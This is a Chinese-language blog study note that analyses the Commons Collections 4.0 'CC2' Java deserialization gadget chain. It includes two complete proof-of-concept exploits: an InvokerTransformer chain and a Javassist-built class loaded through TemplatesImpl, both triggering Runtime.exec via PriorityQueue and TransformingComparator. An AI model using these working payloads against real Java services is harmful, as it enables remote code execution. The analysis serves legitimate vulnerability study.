Java CC2

环境配置

<dependency>  
<groupId>org.apache.commons</groupId>  
<artifactId>commons-collections4</artifactId>  
<version>4.0</version>  
</dependency>

jdk: jdk8u71 CC: Commons-Collections4.0

分析(POC1)

首先给出poc

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Test1 {
  public static void main(String[] args) throws Exception{
      Transformer[] transformers = new Transformer[] {
              new ConstantTransformer(Runtime.class),
              new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
              new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
              new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
      };

      Transformer transformerChain = new ChainedTransformer(transformers);
      TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
      PriorityQueue queue = new PriorityQueue(1);

      queue.add(1);
      queue.add(2);

      Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
      field.setAccessible(true);
      field.set(queue,Tcomparator);

      try{
          ByteArrayOutputStream barr = new ByteArrayOutputStream();
          ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt"));
          outputStream.writeObject(queue);
          outputStream.close();
          System.out.println(barr.toString());

          ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt"));
          inputStream.readObject();
      }catch(Exception e){
          e.printStackTrace();
      }
  }
}

反着看 先从 readObject 方法开始对链子倒推

PriorityQueue.readObject

 private void readObject(java.io.ObjectInputStream s)
      throws java.io.IOException, ClassNotFoundException {
      // Read in size, and any hidden stuff
      s.defaultReadObject();

      // Read in (and discard) array length
      s.readInt();

      SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Object[].class, size);
      final Object[] es = queue = new Object[Math.max(size, 1)];

      // Read in all elements.
      for (int i = 0, n = size; i < n; i++)
          es[i] = s.readObject();

      // Elements are guaranteed to be in "proper order", but the
      // spec has never explained what that might be.
      heapify();
  }

只有heapify方法可疑 跟进看一下

PriorityQueue.heapify

private void heapify() {
      for (int i = (size >>> 1) - 1; i >= 0; i--)
          siftDown(i, (E) queue[i]);
  }

siftDown 方法,继续跟

PriorityQueue.siftDown

private void siftDown(int k, E x) {
      if (comparator != null)
          siftDownUsingComparator(k, x);
      else
          siftDownComparable(k, x);
}

PriorityQueue.siftDownUsingComparator

private void siftDownUsingComparator(int k, E x) {
  int half = size >>> 1;
  while (k < half) {
      int child = (k << 1) + 1;
      Object c = queue[child];
      int right = child + 1;
      if (right < size &&
          comparator.compare((E) c, (E) queue[right]) > 0)
          c = queue[child = right];
      if (comparator.compare(x, (E) c) <= 0)
          break;
      queue[k] = c;
      k = child;
  }
  queue[k] = x;
}

看到有个compare方法继续跟进

到这里我们思路就断了 回到之前CC1的分析,看ChainedTransformer 传入了哪里 直接来到

TransformingComparator.compare

//构造方法
public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
      this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
  }

  public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
      this.decorated = decorated;
      this.transformer = transformer;
}
//重要方法
public int compare(I obj1, I obj2) {
      O value1 = this.transformer.transform(obj1);
      O value2 = this.transformer.transform(obj2);
      return this.decorated.compare(value1, value2);
  }

到这里就和poc的链子刚好接上了 下面是对poc为什么这么构造的解释

Transformer[] transformers = new Transformer[] {
              new ConstantTransformer(Runtime.class),
              new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
              new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
              new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
      };

反射获取Runtime对象,不多赘述可参考之前的笔记

Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1, Tcomparator);

当调用ChainedTransformer的transformer方法时,对transformers数组进行回调,从而执行命令; 将transformerChain传入TransformingComparator,从而调用transformer方法; new一个PriorityQueue对象,传入一个整数参数,且传入的数值不能小于1,再将Tcomparator传入

queue.add(1);
queue.add(2);

这里为什么要add两次 可以回到之前PriorityQueue.heapify()for (int i = (size >>> 1) - 1; i >= 0; i--)当int>0时,才会进入for循环,且这里的size会右移,故要两次才能保证大于0

 Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
      field.setAccessible(true);
      field.set(queue,Tcomparator);

反射获取java.util.PriorityQueue下的comparatoer方法,再将queue设置为Tcomparatoer

至于为什么要设置

可以在TransformingComparator下找到对应代码

if (right < size && comparator.compare((E) c, (E) queue[right]) > 0)

联系整个思路:当反序列化 PriorityQueue 对象时,由于队列中的元素需要按照比较器排序,因此会触发 TransformingComparatorcompare 方法。compare 方法内部会调用 Transformer 链,导致 exec 方法被调用,从而执行命令 calc.exe

分析(POC2)

Javassit

这里首先补充一下Javassit的知识

简单说,Javassit可以在运行时动态修改或生成类文件,而不需要编写字节码

poc中会用到的类和方法:

ClassPool ClassPool是CtClass对象的容器,它按需读取类文件来构造CtClass对象,并且保存CtClass对象以便以后使用,其中键名是类名称,值是表示该类的CtClass对象。

常用方法:

  • static ClassPool getDefault():返回默认的ClassPool,一般通过该方法创建我们的ClassPool;
  • ClassPath insertClassPath(ClassPath cp):将一个ClassPath对象插入到类搜索路径的起始位置;
  • ClassPath appendClassPath:将一个ClassPath对象加到类搜索路径的末尾位置;
  • CtClass makeClass:根据类名创建新的CtClass对象;
  • CtClass get(java.lang.String classname):从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用;

CtClass CtClass类表示一个class文件,每个CtClass对象都必须从ClassPool中获取。

常用方法:

  • void setSuperclass(CtClass clazz):更改超类,除非此对象表示接口;
  • byte[] toBytecode():将该类转换为类文件;
  • CtConstructor makeClassInitializer():制作一个空的类初始化程序(静态构造函数

在ysoserial的cc2中引入了 TemplatesImpl 类来进行承载攻击payload,需要用到javassit

给出网上的poc来分析:

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Test2 {

  public static void main(String[] args) throws Exception{

      Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
      constructor.setAccessible(true);
      InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

      TransformingComparator Tcomparator = new TransformingComparator(transformer);
      PriorityQueue queue = new PriorityQueue(1);

      ClassPool pool = ClassPool.getDefault();
      pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
      CtClass cc = pool.makeClass("Cat");
      String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
      cc.makeClassInitializer().insertBefore(cmd);
      String randomClassName = "EvilCat" + System.nanoTime();
      cc.setName(randomClassName);
      //cc.writeFile();
      cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
      byte[] classBytes = cc.toBytecode();
      byte[][] targetByteCodes = new byte[][]{classBytes};

      TemplatesImpl templates = TemplatesImpl.class.newInstance();
      setFieldValue(templates, "_bytecodes", targetByteCodes);
      setFieldValue(templates, "_name", "blckder02");
      setFieldValue(templates, "_class", null);

      Object[] queue_array = new Object[]{templates,1};
      Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
      queue_field.setAccessible(true);
      queue_field.set(queue,queue_array);

      Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
      size.setAccessible(true);
      size.set(queue,2);


      Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
      comparator_field.setAccessible(true);
      comparator_field.set(queue,Tcomparator);

      try{
          ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2.bin"));
          outputStream.writeObject(queue);
          outputStream.close();

          ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2.bin"));
          inputStream.readObject();
      }catch(Exception e){
          e.printStackTrace();
      }
  }

  public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
      final Field field = getField(obj.getClass(), fieldName);
      field.set(obj, value);
  }

  public static Field getField(final Class<?> clazz, final String fieldName) {
      Field field = null;
      try {
          field = clazz.getDeclaredField(fieldName);
          field.setAccessible(true);
      }
      catch (NoSuchFieldException ex) {
          if (clazz.getSuperclass() != null)
              field = getField(clazz.getSuperclass(), fieldName);
      }
      return field;
  }
}
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) onstructor.newInstance("newTransformer");

通过反射实例化InvokerTransformer对象,设置InvokerTransformer的methodName为newTransformer

TransformingComparator Tcomparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);

这里跟之前分析的思路差不多 实例化一个PriorityQueue对象,传入不小于1的整数,comparator参数就为null

//实例化一个ClassPool容器
ClassPool pool = ClassPool.getDefault();
//向pool容器类搜索路径的起始位置插入AbstractTranslet.class
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//新建一个CtClass,类名为Cat
CtClass cc = pool.makeClass("Cat");
//设置一个要执行的命令
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
//制作一个空的类初始化,并在前面插入要执行的命令语句
cc.makeClassInitializer().insertBefore(cmd);
//重新设置一下类名,生成的类的名称就不再是Cat
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//将生成的类文件保存下来
cc.writeFile();
//设置AbstractTranslet类为该类的父类
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
//将该类转换为字节数组
byte[] classBytes = cc.toBytecode();
//将一维数组classBytes放到二维数组targetByteCodes的第一个元素
byte[][] targetByteCodes = new byte[][]{classBytes};

这部分代码使用 Javassist 库创建了一个名为 EvilCat 的恶意类,该类继承自 AbstractTranslet。在类初始化时,执行 Runtime.getRuntime().exec("calc.exe")

TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);

使用TemplatesImpl的空参构造方法实例化一个对象,这部分代码通过反射创建了一个 TemplatesImpl 对象,并设置了其 _bytecodes 字段为恶意字节码,同时设置其 _name 字段为 "blckder02",并清空了 _class 字段。

Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);

新建一个对象数组,第一个元素为templates,第二个元素为1; 然后通过反射将该数组传到queue中;

Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);

通过反射将queue的size设为2,与POC1中使用两个add的意思一样

Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);

通过反射给queue的comparator参数赋值;

这个链子的核心点在于利用 javassist 中的字节码编程获取到字节码,然后再利用 TemplatesImpl 中的 defineTransletClasses 方法把字节码加载到 JVM 中运行

TemplatesImpl 中的 defineTransletClasses 方法把字节码加载到 JVM 中运行

private void defineTransletClasses()
      throws TransformerConfigurationException {

      if (_bytecodes == null) {
          ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
          throw new TransformerConfigurationException(err.toString());
      }

      TransletClassLoader loader = (TransletClassLoader)
          AccessController.doPrivileged(new PrivilegedAction() {
              public Object run() {
                  return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
              }
          });

      try {
          final int classCount = _bytecodes.length;
          _class = new Class[classCount];

          if (classCount > 1) {
              _auxClasses = new Hashtable();
          }

          for (int i = 0; i < classCount; i++) {
              _class[i] = loader.defineClass(_bytecodes[i]);
              final Class superClass = _class[i].getSuperclass();

              //关键点
              if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                  _transletIndex = i;
              }
              else {
                  _auxClasses.put(_class[i].getName(), _class[i]);
              }
          }

          if (_transletIndex < 0) {
              ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
              throw new TransformerConfigurationException(err.toString());
          }
      }
      catch (ClassFormatError e) {
          ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
          throw new TransformerConfigurationException(err.toString());
      }
      catch (LinkageError e) {
          ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
          throw new TransformerConfigurationException(err.toString());
      }
  }

这段代码的主要目的是定义一个或多个由字节码表示的类,并将它们加载到一个自定义的类加载器中

定义好一个类后,我们还需要一个方法调用 defineTransletClasses 方法并且将它实例化 (newInstance)

接着看getTransletInstance()方法

private Translet getTransletInstance()
      throws TransformerConfigurationException {
      try {
          if (_name == null) return null;

          if (_class == null) defineTransletClasses();

          // The translet needs to keep a reference to all its auxiliary
          // class to prevent the GC from collecting them
          AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
          translet.postInitialization();
          translet.setTemplates(this);
          translet.setServicesMechnism(_useServicesMechanism);
          translet.setAllowedProtocols(_accessExternalStylesheet);
          if (_auxClasses != null) {
              translet.setAuxiliaryClasses(_auxClasses);
          }

          return translet;
      }
      catch (InstantiationException e) {
          ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
          throw new TransformerConfigurationException(err.toString());
      }
      catch (IllegalAccessException e) {
          ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
          throw new TransformerConfigurationException(err.toString());
      }
  }

很明显这段代码的主要任务是从定义好的字节码中创建一个AbstractTranslet类型的实例,并对其进行一系列必要的初始化设置

if (_class == null) defineTransletClasses();
这里调用
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
这里实例化

但这里的实例化只实例化 class[_transletIndex] 这个类 在之前的getTransletInstance()方法中有标注

继续看哪儿调用了getTransletInstance方法

定位到newTransformer

public synchronized Transformer newTransformer()
      throws TransformerConfigurationException
  {
      TransformerImpl transformer;

      transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
          _indentNumber, _tfactory);

      if (_uriResolver != null) {
          transformer.setURIResolver(_uriResolver);
      }

      if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
          transformer.setSecureProcessing(true);
      }
      return transformer;
  }

和之前的CC1分析一样,调用transformer来触发链子

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇